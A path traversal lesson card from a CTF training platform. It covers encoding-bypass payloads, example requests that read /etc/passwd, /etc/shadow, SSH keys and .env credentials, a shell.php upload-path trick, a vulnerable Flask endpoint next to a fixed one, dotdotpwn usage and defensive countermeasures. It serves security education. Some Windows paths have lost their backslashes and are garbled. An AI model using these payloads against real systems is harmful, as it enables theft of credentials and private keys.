Browse CTFs New CTF Sign in

Path traversal

web_auth_sessions Difficulty 1–5 30 min certifiable

Theory

Why This Matters

Path traversal is one of the oldest and most persistently exploited web vulnerability classes. CVE-2021-41773 affected Apache HTTP Server 2.4.49, allowing path traversal through the URL to access files outside the document root — patched within days but exploited in the wild hours after public disclosure. The Cybersecurity and Infrastructure Security Agency (CISA) regularly includes path traversal in its Known Exploited Vulnerabilities catalog. Unlike LFI, path traversal does not require code execution to be impactful: reading private keys, application source code, database credentials, and configuration files directly from the filesystem constitutes a critical breach.

Core Concept

Path traversal (also called directory traversal) occurs when a web application uses user-supplied input to construct a file system path for reading or writing operations, and does not properly restrict the resulting path to the intended directory. The OS resolves .. as the parent directory, allowing an attacker to escape the intended directory and access arbitrary files.

The critical distinction between path traversal and LFI is the exploitation channel: - LFI — the file is passed to PHP's include() and executed as PHP code. Impact includes RCE. - Path traversal — the file is read (or written) as raw data via file I/O functions (fopen(), readfile(), FileInputStream). There is no code execution; impact is file read/write.

The attacker precondition is that user-controlled input determines the path used in a file read operation (file download, image serving, template loading, log viewing) without path canonicalisation or prefix enforcement.

Encoding bypass techniques defeat naive string-matching filters: - Plain: ../../../etc/passwd - URL-encoded: %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd - Double URL-encoded: %252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd (the server URL-decodes once, WAF/filter sees encoded; server decodes again at the OS level) - Unicode/UTF-8 overlong encoding: %c0%ae%c0%ae%2f (old IIS / Tomcat bypass) - Windows UNC: ........windowswin.ini - Mixed slashes: ../../../etc/passwd - Absolute path bypass: /etc/passwd directly (when no base path is prepended)

A null byte terminates the path string in C-based implementations: ../../../etc/passwd%00.jpg can bypass extension validation in older implementations.

Technical Deep-Dive

# Application: GET /download?file=report.pdf
# Backend: send_file("/var/www/files/" + request.args["file"])

# Basic traversal:
GET /download?file=../../../etc/passwd

# URL-encoded traversal (bypass naive ../ filter):
GET /download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# Double URL-encoded (bypass WAF that decodes once):
GET /download?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

# Absolute path (when application does not prepend base directory):
GET /download?file=/etc/passwd
GET /download?file=/etc/shadow
GET /download?file=/home/appuser/.ssh/id_rsa

# Windows targets:
GET /download?file=......windowswin.ini
GET /download?file=%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini

# High-value target files:
# Linux:
#   /etc/passwd, /etc/shadow, /etc/hosts
#   /var/www/html/.env, /var/www/html/config.php (app credentials)
#   ~/.ssh/id_rsa, ~/.ssh/authorized_keys
#   /proc/self/environ, /proc/net/tcp (open connections)
# Windows:
#   C:Windowswin.ini (traversal confirmation)
#   C:inetpubwwwrootweb.config (IIS credentials)
#   C:WindowsSystem32driversetchosts
#   C:Users<user>.sshid_rsa

# API endpoint traversal (REST API serving files):
GET /api/v1/files/../../../../etc/passwd
# Note: path segments in REST APIs may be URL-decoded differently
# Vulnerable Python/Flask file-serve endpoint:
from flask import Flask, request, send_file
import os

app = Flask(__name__)
BASE_DIR = "/var/www/files"

@app.route("/download")
def download():
    filename = request.args.get("file", "")
    # VULNERABLE: no path canonicalisation
    path = os.path.join(BASE_DIR, filename)
    return send_file(path)

# Secure version using realpath:
@app.route("/download")
def download_secure():
    filename = request.args.get("file", "")
    # Canonicalise and verify path stays within BASE_DIR:
    requested = os.path.realpath(os.path.join(BASE_DIR, filename))
    if not requested.startswith(os.path.realpath(BASE_DIR) + os.sep):
        abort(403)
    return send_file(requested)
# Automated testing with Burp Suite Intruder
# Load path traversal wordlist (SecLists: Fuzzing/LFI):
# /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
# Set payload position on the file parameter value

# dotdotpwn automated traversal:
dotdotpwn -m http -h target.example.com -u /download?file=TRAVERSAL 
  -f /etc/passwd -d 6 -t 200

Security Assessment Methodology

  1. Identify file-serving parameters — Look for file, path, name, doc, filename, resource, attachment parameters in download, image-serving, and template-loading endpoints.
  2. Test basic traversal — Submit ../../../etc/passwd (Linux) and ......windowswin.ini (Windows). A positive response with file content confirms the vulnerability.
  3. Test encoding bypasses — If basic traversal fails, test URL encoding, double URL encoding, and mixed slash variants. Use Burp Intruder with a traversal wordlist.
  4. Test absolute paths — Submit /etc/passwd directly to check whether the application prepends a base directory or accepts absolute paths as-is.
  5. Target high-value files — For confirmed traversal: read .env, config.php, web.config, database.yml, /proc/self/environ, and SSH keys. These demonstrate credential and secret exposure.
  6. Check for write-path traversal — If the application accepts file uploads with user-controlled filenames, test whether ../../../var/www/html/shell.php as a filename causes writes to the web root.
  7. Run dotdotpwn — Use depth levels 4–8 and specify a target file for automated traversal depth and encoding enumeration.

Defensive Countermeasure — Canonicalise the resolved file path using os.path.realpath() (Python), Paths.get().toRealPath() (Java), or realpath() (PHP) and verify the resolved path begins with the expected base directory string. Never rely on stripping ../ sequences from the input, as encoding bypasses defeat string-based filters. Serve files from a dedicated directory with no sensitive files, no symlinks pointing outside, and restricted OS-level permissions. Use a content-addressed identifier (UUID or hash) to reference files instead of allowing user-specified filenames.

Common Assessment Errors

  • Stopping after confirming /etc/passwd — Reading /etc/passwd establishes traversal but has limited business impact. Always read application-specific credential files (.env, config files) to demonstrate real risk.
  • Not testing encoding bypasses — Basic ../ often gets blocked by WAFs or string filters. Not testing URL-encoded and double-encoded variants misses exploitability in filtered environments.
  • Forgetting Windows path syntax — On Windows targets, ../ may fail while .. succeeds. Always test OS-appropriate path separators.
  • Missing API endpoints — REST APIs that serve file content (document viewers, export endpoints) are often overlooked in favour of traditional web endpoints.
  • Not testing write-path traversal — If the application writes files (upload, log, export), traversal in the write path may create or overwrite arbitrary files — a potentially more severe impact than reads.
  • Conflating path traversal with LFI — They are distinct: traversal reads/writes file data; LFI executes PHP code. Remediation differs. Mislabelling leads to incorrect severity assessment and wrong fix guidance.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0009 Knowledge of application vulnerabilities Builds precise understanding of path traversal mechanics, encoding bypasses, and OS path resolution
K0070 Knowledge of system and application security threats and vulnerabilities Covers platform-specific traversal syntax and high-value target file locations
S0001 Skill in conducting vulnerability scans Trains dotdotpwn usage and systematic encoding bypass testing
S0044 Skill in mimicking threat behaviors Develops adversarial file targeting methodology for credential and key extraction
T0028 Test system security controls Covers path canonicalisation review and base-directory enforcement verification
T0591 Perform penetration testing Provides complete path traversal methodology from discovery through credential exposure

Further Reading

  • Path Traversal — PortSwigger Web Security Academy
  • CVE-2021-41773: Apache HTTP Server Path Traversal and RCE — NVD / Apache Security Advisory
  • SecLists LFI/Path Traversal Wordlists — Daniel Miessler, GitHub

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.